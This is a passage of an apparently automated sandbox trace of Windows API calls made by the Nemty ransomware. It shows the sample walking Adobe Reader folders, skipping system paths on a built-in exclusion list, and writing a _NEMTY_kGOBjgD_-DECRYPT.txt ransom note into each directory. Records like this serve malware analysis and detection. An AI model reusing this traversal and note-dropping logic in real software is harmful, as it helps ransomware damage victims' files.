(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.565] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x338421b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x338421b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x338421b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0216.565] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0216.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0216.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0216.565] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2=".") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="..") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="...") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="windows") returned -1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="$RECYCLE.BIN") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="rsa") returned -1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="NTDETECT.COM") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="ntldr") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="MSDOS.SYS") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="IO.SYS") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="boot.ini") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="boot.ini") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="AUTOEXEC.BAT") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="ntuser.dat") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="desktop.ini") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="CONFIG.SYS") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="RECYCLER") returned -1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="BOOTSECT.BAK") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="bootmgr") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="programdata") returned 1 [0216.565] lstrcmpiW (lpString1="Providers", lpString2="appdata") returned 1 [0216.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Providers", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Providers", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Providers", lpUsedDefaultChar=0x0) returned 9 [0216.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Providers", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Providers", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Providers", lpUsedDefaultChar=0x0) returned 9 [0216.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0216.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942c8 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0216.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0216.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.567] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.567] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0216.567] CloseHandle (hObject=0x254) returned 1 [0216.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0216.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0216.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c8 [0216.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94370 [0216.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0216.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0216.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0216.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0216.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0216.569] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.569] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0216.570] CloseHandle (hObject=0x254) returned 1 [0216.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0216.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94370 [0216.570] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x34b73310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x34b73310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0216.570] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0216.570] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x34b73310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x34b73310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0216.571] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0216.571] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0216.571] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2=".") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="..") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="...") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="windows") returned -1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="$RECYCLE.BIN") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="rsa") returned -1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="NTDETECT.COM") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="ntldr") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="MSDOS.SYS") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="IO.SYS") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="boot.ini") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="boot.ini") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="AUTOEXEC.BAT") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="ntuser.dat") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="desktop.ini") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="CONFIG.SYS") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="RECYCLER") returned -1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="BOOTSECT.BAK") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="bootmgr") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="programdata") returned 1 [0216.571] lstrcmpiW (lpString1="Proximity", lpString2="appdata") returned 1 [0216.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proximity", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proximity", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proximity", lpUsedDefaultChar=0x0) returned 9 [0216.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proximity", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proximity", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proximity", lpUsedDefaultChar=0x0) returned 9 [0216.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0216.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0216.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94370 [0216.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0216.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340100 [0216.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63401d8 [0216.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0216.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0216.573] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.573] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0216.573] CloseHandle (hObject=0x2e8) returned 1 [0216.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94370 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0216.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340270 [0216.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340348 [0216.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0216.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0216.575] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.575] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0216.575] CloseHandle (hObject=0x2e8) returned 1 [0216.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0216.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0216.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x34b73310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x34b73310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0216.576] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0216.576] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x34b73310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x34b73310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0216.576] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0216.576] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0216.576] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="11.00", cAlternateFileName="")) returned 1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2=".") returned 1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="..") returned 1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="...") returned 1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="windows") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="$RECYCLE.BIN") returned 1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="rsa") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="NTDETECT.COM") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", 